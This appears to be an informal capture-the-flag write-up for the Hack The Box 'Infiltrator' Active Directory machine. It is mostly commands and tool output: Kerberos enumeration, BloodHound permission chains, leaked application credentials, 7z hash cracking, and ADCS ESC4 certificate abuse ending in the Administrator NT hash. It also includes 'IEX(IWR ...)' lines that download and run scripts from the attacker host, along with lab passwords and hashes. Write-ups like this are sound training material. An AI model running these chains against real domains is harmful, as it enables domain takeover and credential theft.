Subdomain and directory enumeration came empty handed, the website is most likely just static website hosted on HTML. Search, email and contact wasn't working (most probably).
Kerberos
Kerbrute
namebuster was used to generate different combinations of usernames for AD.
AS-REP
Something interesting happens if we try to password spray!
Perform RID brute just to be safe that we covered all users, evil-winrm didn't work.
LDAP
Creds: K.turner:MessengerApp@Pass!
For ???, doesn't work for smb!
Also very useful command:
Writeup-1.png
Bloodhound
Writeup-3.png
Writeup-4.png
Clark doesn't have anything interesting, but the group he belongs to has another user.
D.anderson.ccache
We are able to forge kerberos tickets and not only ours.
Writeup-2.png
Writeup-5.png
Writeup-6.png
Chain of attack
After following the Outbound permissions on each connection we end up with a chain like:
Writeup-7.png
dacledit
Now chain becomes like:
Writeup-8.png
pywhisker && certipy-ad
Same steps from Mist box.
AddSelf
AddSelf, similar to AddMember. While AddMember is WriteProperty access right on the target's Member attribute, AddSelf is a Self access right on the target's Member attribute, allowing the attacker to add itself to the target group, instead of adding arbitrary principals. src
Due to some error in HTB infrastructure the commands had to be executed quickly.....
Note: If you get Cannot find KDC for realm "INFILTRATOR.HTB", you may need to update /etc/resolv.conf with box IP (first entry) or /etc/kerb5.conf
evil-winrm (m.harris)
User.txt
Privilege Escalation
Internal AD Enumeration
harris doesn't have any outbound permissions.
evil-winrm was very unstable for some reason, so I switched to ConPtyShell.
Enumerate with winPeas
Output Messenger (k.turner)
Before we begin the certificate shinanigans let's go back to k.turner password. I discarded the network output of winPeas, but it actually has interesting information.
From the future:
Handling ports was annoying so just automate it
Creds: k.turner:MessengerApp@Pass!:127.0.0.1
Writeup-10.png
Writeup-11.png
Hidden Files
Previously winPeas found hidden directory in /Users:
MySQL
Unintended path
You can just read files, lmao
Output Messenger (m.harris)
Creds: m.harris:D3v3l0p3r_Pass@1337!:127.0.0.1
Writeup-12.png
I think Download button broke because I didn't have Storage Folder specified, we can use Download History to get files. still doesn't work because the app kinda died 💀 Box restart to the rescue.
Writeup-13.png
Decompile the exe with ILSpy or similar, the app is written in C#
evil-winrm (winrm_svc)
Creds: winrm_svc:WinRm@$svc^!^P
Nothing much in users directory, but we can login via chat app again
Writeup-14.png
Writeup-16.png
The only other user that has access to the chat is probably A.walker
Chat Logs
Winpeas showed something interesting again in home directory.
The app was acting wacky, and luckily there was a web interface we could use. When going through the chats we see some messages we haven't seen before.
Writeup-20.png
Bruteforce Try
idk My password is a combination of my name and birth year, like username + birthday which is 1999!!
First try at bruteforce:
She did complain about some site popping up and her calendar is full of their domain, dns poisoning to steal the user hash?
Writeup-21.png
Windows Client
Run Application
For whatever the fucking reason, you need to download Windows client and then you have access to new task.
Writeup-22.png
First sync the calendar, then setup new Run Application and run the revshell that exists on remote system (MIGHT ALSO NEED TO EXIST ON YOUR WINDOWS)
Note: certipy-ad req took like forever to work because of template probably didn't work or it's the box. Make sure to run template and then req few times!!!
└─$ dig ANY infiltrator.htb @10.10.11.31
; <<>> DiG 9.19.21-1-Debian <<>> ANY infiltrator.htb @10.10.11.31
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 1593
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 0, ADDITIONAL: 2
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;infiltrator.htb. IN ANY
;; ANSWER SECTION:
infiltrator.htb. 600 IN A 10.10.11.31
infiltrator.htb. 3600 IN NS dc01.infiltrator.htb.
infiltrator.htb. 3600 IN SOA dc01.infiltrator.htb. hostmaster.infiltrator.htb. 417 900 600 86400 3600
;; ADDITIONAL SECTION:
dc01.infiltrator.htb. 3600 IN A 10.10.11.31
;; Query time: 84 msec
;; SERVER: 10.10.11.31#53(10.10.11.31) (TCP)
;; WHEN: Sat Aug 31 15:12:42 EDT 2024
;; MSG SIZE rcvd: 142
> document.querySelectorAll('.author-item h4').forEach(e=>console.log(e.textContent))
Amanda Walker
Marcus Harris
Lauren Clark
Ethan Rodriguez
David Anderson
Olivia Martinez
Kevin Turner
Amanda Walker
Marcus Harris
Lauren Clark
Ethan Rodriguez
David Anderson
Olivia Martinez
Kevin Turner
Amanda Walker
└─$ bloodhound-python -u 'm.harris@infiltrator.htb' -k -no-pass -dc dc01.infiltrator.htb -d infiltrator.htb -c all --zip -op harris
Password: # Enter anything, idk why it prompts password with `-no-pass`
PS C:\users> whoami /all
User Name SID
==================== ==============================================
infiltrator\m.harris S-1-5-21-2606098828-3734741516-3625406802-1105
Group Name Type SID Attributes
=========================================== ================ ============================================== ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
BUILTIN\Certificate Service DCOM Access Alias S-1-5-32-574 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
INFILTRATOR\Protected Users Group S-1-5-21-2606098828-3734741516-3625406802-525 Mandatory group, Enabled by default, Enabled group
INFILTRATOR\Developers Group S-1-5-21-2606098828-3734741516-3625406802-1112 Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity Well-known group S-1-18-1 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label S-1-16-8448
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
PS C:\users\M.harris\Music> iwr 10.10.14.43/wp.exe -out wp.exe
PS C:\users\M.harris\Music> .\wp.exe | Tee-Object -FilePath wp.log
...
+----------¦ PowerShell Settings
PowerShell v2 Version: 2.0
PowerShell v5 Version: 5.1.17763.1
PowerShell Core Version:
Transcription Settings:
Module Logging Settings:
Scriptblock Logging Settings:
PS history file: C:\Users\M.harris\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
PS history size: 192B
...
+----------¦ Drives Information
+ Remember that you should search more info inside the other drives
C:\ (Type: Fixed)(Filesystem: NTFS)(Available space: 43 GB)(Permissions: Users [AppendData/CreateDirectories])
E:\ (Type: Fixed)
...
+----------¦ Checking KrbRelayUp
+ https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#krbrelayup
The system is inside a domain (INFILTRATOR) so it could be vulnerable.
+ You can try https://github.com/Dec0ne/KrbRelayUp to escalate privileges
...
Folder: C:\windows\tasks
FolderPerms: Authenticated Users [WriteData/CreateFiles]
=================================================================================================
Folder: C:\windows\system32\tasks
FolderPerms: Authenticated Users [WriteData/CreateFiles]
=================================================================================================
...
+ https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#credentials-inside-files
C:\Users\All Users\Microsoft\UEV\InboxTemplates\RoamingCredentialSettings.xml
...
+----------¦ Enumerating machine and user certificate files
Issuer : CN=infiltrator-DC01-CA, DC=infiltrator, DC=htb
Subject :
ValidDate : 8/4/2024 11:48:15 AM
ExpiryDate : 7/17/2099 11:48:15 AM
HasPrivateKey : True
StoreLocation : LocalMachine
KeyExportable : True
Thumbprint : ABFD279830AC7B08DE25677B654BB7047D01F071
Template : Template=Kerberos Authentication(1.3.6.1.4.1.311.21.8.8884114.8852024.1722030.16302680.8225111.115.1.33), Major Version Number=110, Minor Version Number=2
Enhanced Key Usages
Client Authentication [*] Certificate is used for client authentication!
Server Authentication
Smart Card Logon
KDC Authentication
=================================================================================================
Issuer : CN=infiltrator-DC01-CA, DC=infiltrator, DC=htb
Subject : CN=dc01.infiltrator.htb
ValidDate : 12/7/2023 5:45:12 PM
ExpiryDate : 12/6/2024 5:45:12 PM
HasPrivateKey : True
StoreLocation : LocalMachine
KeyExportable : True
Thumbprint : 31154FCF64FBACACED5DEC9910EB0D1BB50F1F2C
Template : DomainController
Enhanced Key Usages
Client Authentication [*] Certificate is used for client authentication!
Server Authentication
=================================================================================================
Issuer : CN=infiltrator-DC01-CA, DC=infiltrator, DC=htb
Subject : CN=infiltrator-DC01-CA, DC=infiltrator, DC=htb
ValidDate : 12/7/2023 5:42:38 PM
ExpiryDate : 12/7/2028 5:52:38 PM
HasPrivateKey : True
StoreLocation : LocalMachine
KeyExportable : True
Thumbprint : 2C188207AE9DE454750081FACE0CFE730EAFAB65
=================================================================================================
Issuer : CN=infiltrator-DC01-CA, DC=infiltrator, DC=htb
Subject : CN=infiltrator-DC01-CA, DC=infiltrator, DC=htb
ValidDate : 12/7/2023 5:42:38 PM
ExpiryDate : 8/4/2124 11:55:57 AM
HasPrivateKey : True
StoreLocation : LocalMachine
KeyExportable : True
Thumbprint : 04A961BA417C7829B307CFBD46B2FB486BFD86C1
=================================================================================================
...
+----------¦ Searching hidden files or folders in C:\Users home (can be slow)
C:\Users\Default
C:\Users\All Users
C:\Users\All Users\ntuser.pol
C:\Users\Default User
C:\Users\Default
...
PS C:\users\M.harris\Music> IEX(IWR 10.10.14.43/adPEAS.ps1 -UseBasicParsing)
PS C:\users\M.harris\Music> Invoke-adPEAS
...
[?] +++++ Checking Add-Computer Permissions +++++
[+] Filtering found identities that can add a computer object to domain 'infiltrator.htb':
[!] The Machine Account Quota is currently set to 10
[!] Every member of group 'Authenticated Users' can add a computer to domain 'infiltrator.htb'
distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=infiltrator,DC=htb
objectSid: S-1-5-11
memberOf: CN=Pre-Windows 2000 Compatible Access,CN=Builtin,DC=infiltrator,DC=htb
CN=Certificate Service DCOM Access,CN=Builtin,DC=infiltrator,DC=htb
CN=Users,CN=Builtin,DC=infiltrator,DC=htb
...
[+] Found Active Directory Certificate Services 'infiltrator-DC01-CA':
CA Name: infiltrator-DC01-CA
CA dnshostname: dc01.infiltrator.htb
CA IP Address: 10.129.211.98
Date of Creation: 12/08/2023 01:52:38
DistinguishedName: CN=infiltrator-DC01-CA,CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,DC=infiltrator,DC=htb
NTAuthCertificates: True
Available Templates: Infiltrator_Template
DirectoryEmailReplication
DomainControllerAuthentication
KerberosAuthentication
EFSRecovery
EFS
DomainController
WebServer
Machine
User
SubCA
Administrator
...
[?] +++++ Checking Template 'Infiltrator_Template' +++++
[!] Template 'Infiltrator_Template' has Flag 'ENROLLEE_SUPPLIES_SUBJECT'
[!] Identity 'INFILTRATOR\infiltrator_svc$' has 'CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner' permissions on template 'Infiltrator_Template'
[!] Identity 'Local System' has 'GenericAll' permissions on template 'Infiltrator_Template'
Template Name: Infiltrator_Template
Template distinguishedname: CN=Infiltrator_Template,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=infiltrator,DC=htb
Date of Creation: 09/01/2024 20:49:56
[+] Extended Key Usage: Smartcard Logon, Server Authentication, KDC Authentication, Client Authentication
EnrollmentFlag: INCLUDE_SYMMETRIC_ALGORITHMS, PEND_ALL_REQUESTS, PUBLISH_TO_DS
[!] CertificateNameFlag: ENROLLEE_SUPPLIES_SUBJECT
[!] Template Permissions: Local System : GenericAll
[!] Template Permissions: INFILTRATOR\infiltrator_svc$ : CreateChild, DeleteChild, Self, WriteProperty, DeleteTree, Delete, GenericRead, WriteDacl, WriteOwner
...
[?] +++++ Checking Template 'WebServer' +++++
[!] Template 'WebServer' has Flag 'ENROLLEE_SUPPLIES_SUBJECT'
Template Name: WebServer
Template distinguishedname: CN=WebServer,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=infiltrator,DC=htb
Date of Creation: 12/08/2023 01:52:38
Extended Key Usage: Server Authentication
EnrollmentFlag: 0
[!] CertificateNameFlag: ENROLLEE_SUPPLIES_SUBJECT
[?] +++++ Checking Template 'Machine' +++++
[+] Identity 'INFILTRATOR\Domain Computers' has enrollment rights for template 'Machine'
Template Name: Machine
Template distinguishedname: CN=Machine,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=infiltrator,DC=htb
Date of Creation: 12/08/2023 01:52:38
[+] Extended Key Usage: Client Authentication, Server Authentication
EnrollmentFlag: AUTO_ENROLLMENT
CertificateNameFlag: SUBJECT_ALT_REQUIRE_DNS, SUBJECT_REQUIRE_DNS_AS_CN
[+] Enrollment allowed for: INFILTRATOR\Domain Computers
[?] +++++ Checking Template 'User' +++++
[+] Identity 'INFILTRATOR\Domain Users' has enrollment rights for template 'User'
Template Name: User
Template distinguishedname: CN=User,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=infiltrator,DC=htb
Date of Creation: 12/08/2023 01:52:38
[+] Extended Key Usage: Encrypting File System, Secure E-mail, Client Authentication
EnrollmentFlag: INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS, AUTO_ENROLLMENT
CertificateNameFlag: SUBJECT_ALT_REQUIRE_UPN, SUBJECT_ALT_REQUIRE_EMAIL, SUBJECT_REQUIRE_EMAIL, SUBJECT_REQUIRE_DIRECTORY_PATH
[+] Enrollment allowed for: INFILTRATOR\Domain Users
[?] +++++ Checking Template 'SubCA' +++++
[!] Template 'SubCA' has Flag 'ENROLLEE_SUPPLIES_SUBJECT'
Template Name: SubCA
Template distinguishedname: CN=SubCA,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=infiltrator,DC=htb
Date of Creation: 12/08/2023 01:52:38
EnrollmentFlag: 0
[!] CertificateNameFlag: ENROLLEE_SUPPLIES_SUBJECT
...
[?] +++++ Searching for Group Managed Service Account (gMSA) +++++
[+] Found group Managed Service Account 'infiltrator_svc$':
sAMAccountName: infiltrator_svc$
distinguishedName: CN=infiltrator_svc,CN=Managed Service Accounts,DC=infiltrator,DC=htb
objectSid: S-1-5-21-2606098828-3734741516-3625406802-3102
[+] description: dc01.infiltrator.htb
[+] AllowedToRetrieveManagedPassword: lan_managment
pwdLastSet: 12/10/2023 07:28:23
[*] lastLogonTimestamp: 02/19/2024 04:27:26 (Identity is likely not online anymore!)
userAccountControl: WORKSTATION_TRUST_ACCOUNT
...
+----------¦ Current TCP Listening Ports
+ Check for services restricted from the outside
Enumerating IPv4 connections
Protocol Local Address Local Port Remote Address Remote Port State Process ID Process Name
...
TCP 0.0.0.0 14126 0.0.0.0 0 Listening 3524 outputmessenger_httpd
TCP 0.0.0.0 14406 0.0.0.0 0 Listening 5692 outputmessenger_mysqld
...
└─$ mysql -P 14406 -u 'root' -p'ibWijteig5'
Server version: 10.1.19-MariaDB mariadb.org binary distribution
MariaDB [(none)]> SHOW DATABASES;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| outputwall |
| performance_schema |
+--------------------+
MariaDB [(none)]> USE outputwall;
MariaDB [outputwall]> SHOW TABLES;
+---------------------------+
| Tables_in_outputwall |
+---------------------------+
| ot_attachment |
| ot_comments |
| ot_entity |
| ot_entity_accounts |
| ot_entity_daysoff |
| ot_entity_setting |
| ot_sessions |
| ot_user_notification_read |
| ot_user_notifications |
| ot_wall_activity |
| ot_wall_favorite |
| ot_wall_notification |
| ot_wall_posts |
| ot_wall_tagmessages |
| ot_wall_tags |
| ot_wall_tokens |
| ot_wall_usermessages |
+---------------------------+
MariaDB [outputwall]> SELECT post_subject, post_message FROM ot_wall_posts \G
*************************** 1. row ***************************
post_subject: UserExplorer app project
post_message: Hey team, I'm here! In this screenshot, I'll guide you through using the app UserExplorer.exe. It works seamlessly with dev credentials, but remember, it's versatile and functions with any credentials. Currently, we're exploring the default option. Stay tuned for more updates!
"UserExplorer.exe -u m.harris -p D3v3l0p3r_Pass@1337! -s M.harris"
*************************** 2. row ***************************
post_subject: Security Alert! Pre-Auth Disabled on kerberos for Some Users
post_message: Hey team,
We've identified a security concern: some users and our domain (dc01.infiltrator.htb) have pre-authentication disabled on kerberos.
No need to panic! Our vigilant team is already on it and will work diligently to fix this. In the meantime, stay vigilant and be cautious about any potential security risks.
2 rows in set (0.078 sec)
+ Searching hidden files or folders in C:\Users home (can be slow)
+ C:\Users\Default
C:\Users\Default User
C:\Users\All Users
C:\Users\winrm_svc\AppData\Roaming\Output Messenger\SpellCheck
C:\Users\All Users\ntuser.pol
*Evil-WinRM* PS C:\Users\winrm_svc\AppData\Roaming\Output Messenger\JAAA> download OM.db3
Info: Downloading C:\Users\winrm_svc\AppData\Roaming\Output Messenger\JAAA\OM.db3 to OM.db3
*Evil-WinRM* PS C:\Users\winrm_svc\AppData\Roaming\Output Messenger\JAAA> download OT.db3
Info: Downloading C:\Users\winrm_svc\AppData\Roaming\Output Messenger\JAAA\OT.db3 to OT.db3
---
└─$ file *
OM.db3: SQLite 3.x database, last written using SQLite version 3008006, page size 1024, file counter 33, database pages 29, cookie 0xf, schema 4, UTF-8, version-valid-for 33
OT.db3: SQLite 3.x database, last written using SQLite version 3008006, page size 1024, file counter 8, database pages 13, cookie 0x6, schema 4, UTF-8, version-valid-for 8
lan_managment api key 558R501T5I6024Y8JV3B7KOUN1A518GG
└─$ for name in $(grep 'mart' ./kerberos/lists/usernames.txt); do echo "${name}1999" >> passwords; done;
└─$ for name in $(grep 'mart' ./kerberos/lists/usernames.txt); do echo "${name}1999\!\!" >> passwords; done;
└─$ netexec smb 10.129.98.160 -u 'O.martinez' -p passwords
... NOTHING ...
PS C:\users\O.martinez> whoami /all
User Name SID
====================== ==============================================
infiltrator\o.martinez S-1-5-21-2606098828-3734741516-3625406802-1106
Group Name Type SID Attributes
========================================== ================ ============================================== ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Desktop Users Alias S-1-5-32-555 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Group used for deny only
BUILTIN\Certificate Service DCOM Access Alias S-1-5-32-574 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\REMOTE INTERACTIVE LOGON Well-known group S-1-5-14 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE Well-known group S-1-5-4 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
INFILTRATOR\Chiefs Marketing Group S-1-5-21-2606098828-3734741516-3625406802-1111 Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity Well-known group S-1-18-1 Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
Privilege Name Description State
============================= ============================== ========
SeMachineAccountPrivilege Add workstations to domain Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
└─$ file *
%2f: HTML document, ASCII text
%2f(1): HTML document, ASCII text
%2f(2): HTML document, ASCII text
BitLocker-backup(1).7z: 7-zip archive data, version 0.4
BitLocker-backup.7z: HTML document, ASCII text
change_auth_token: JSON text data
files: HTML document, ASCII text, with very long lines (374)
files(1): HTML document, ASCII text, with very long lines (374)
files(2): HTML document, ASCII text
files(3): HTML document, ASCII text
login: ASCII text, with no line terminators
login(1): HTML document, ASCII text
login(2): HTML document, ASCII text
login(3): HTML document, ASCII text
└─$ 7z2john BitLocker-backup\(1\).7z > bitlocker.hash
---
➜ .\john-1.9.0-jumbo-1-win64\run\john.exe .\hashes --wordlist=.\rockyou.txt
Warning: detected hash type "7z", but the string is also recognized as "7z-opencl"
Use the "--format=7z-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (7z, 7-Zip [SHA256 256/256 AVX2 8x AES])
Cost 1 (iteration count) is 524288 for all loaded hashes
Cost 2 (padding size) is 8 for all loaded hashes
Cost 3 (compression type) is 2 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
zipper (BitLocker-backup(1).7z)
1g 0:00:01:55 DONE (2024-09-03 18:03) 0.008683g/s 48.34p/s 48.34c/s 48.34C/s blacks..spartans
Use the "--show" option to display all of the cracked passwords reliably
Session completed
└─$ certipy-ad find -username 'infiltrator_svc$@infiltrator.htb' -vulnerable -hashes ':52dfec373c144cb8d50334cb73934612'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'infiltrator-DC01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'infiltrator-DC01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'infiltrator-DC01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Got CA configuration for 'infiltrator-DC01-CA'
[*] Saved BloodHound data to '20240904054156_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
[*] Saved text output to '20240904054156_Certipy.txt'
[*] Saved JSON output to '20240904054156_Certipy.json'
└─$ cat 20240904054156_Certipy.txt
Certificate Authorities
0
CA Name : infiltrator-DC01-CA
DNS Name : dc01.infiltrator.htb
Certificate Subject : CN=infiltrator-DC01-CA, DC=infiltrator, DC=htb
Certificate Serial Number : 724BCC4E21EA6681495514E0FD8A5149
Certificate Validity Start : 2023-12-08 01:42:38+00:00
Certificate Validity End : 2124-08-04 18:55:57+00:00
Web Enrollment : Disabled
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Permissions
Owner : INFILTRATOR.HTB\Administrators
Access Rights
ManageCertificates : INFILTRATOR.HTB\Administrators
INFILTRATOR.HTB\Domain Admins
INFILTRATOR.HTB\Enterprise Admins
ManageCa : INFILTRATOR.HTB\Administrators
INFILTRATOR.HTB\Domain Admins
INFILTRATOR.HTB\Enterprise Admins
Enroll : INFILTRATOR.HTB\Authenticated Users
Certificate Templates
0
Template Name : Infiltrator_Template
Display Name : Infiltrator_Template
Certificate Authorities : infiltrator-DC01-CA
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : True
Certificate Name Flag : EnrolleeSuppliesSubject
Enrollment Flag : PublishToDs
PendAllRequests
IncludeSymmetricAlgorithms
Private Key Flag : ExportableKey
Extended Key Usage : Smart Card Logon
Server Authentication
KDC Authentication
Client Authentication
Requires Manager Approval : True
Requires Key Archival : False
Authorized Signatures Required : 1
Validity Period : 99 years
Renewal Period : 650430 hours
Minimum RSA Key Length : 2048
Permissions
Object Control Permissions
Owner : INFILTRATOR.HTB\Local System
Full Control Principals : INFILTRATOR.HTB\Domain Admins
INFILTRATOR.HTB\Enterprise Admins
INFILTRATOR.HTB\Local System
Write Owner Principals : INFILTRATOR.HTB\infiltrator_svc
INFILTRATOR.HTB\Domain Admins
INFILTRATOR.HTB\Enterprise Admins
INFILTRATOR.HTB\Local System
Write Dacl Principals : INFILTRATOR.HTB\infiltrator_svc
INFILTRATOR.HTB\Domain Admins
INFILTRATOR.HTB\Enterprise Admins
INFILTRATOR.HTB\Local System
INFILTRATOR.HTB\Domain Admins
INFILTRATOR.HTB\Enterprise Admins
INFILTRATOR.HTB\Local System
[!] Vulnerabilities
ESC4 : 'INFILTRATOR.HTB\\infiltrator_svc' has dangerous permissions
└─$ certipy-ad template -username 'infiltrator_svc$@infiltrator.htb' -hashes ':52dfec373c144cb8d50334cb73934612' -template Infiltrator_Template -save-old
└─$ certipy-ad template -username 'infiltrator_svc$@infiltrator.htb' -hashes ':52dfec373c144cb8d50334cb73934612' -template Infiltrator_Template
└─$ certipy-ad req -username 'infiltrator_svc$@infiltrator.htb' -hashes ':52dfec373c144cb8d50334cb73934612' -ca infiltrator-DC01-CA -target dc01.infiltrator.htb -template Infiltrator_Template -upn administrator@infiltrator.htb -timeout 1000
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 129
[*] Got certificate with UPN 'administrator@infiltrator.htb'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'
└─$ certipy-ad auth -pfx administrator.pfx -username 'Administrator' -domain infiltrator.htb
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: administrator@infiltrator.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@infiltrator.htb': aad3b435b51404eeaad3b435b51404ee:1356f502d2764368302ff0369b1121a1
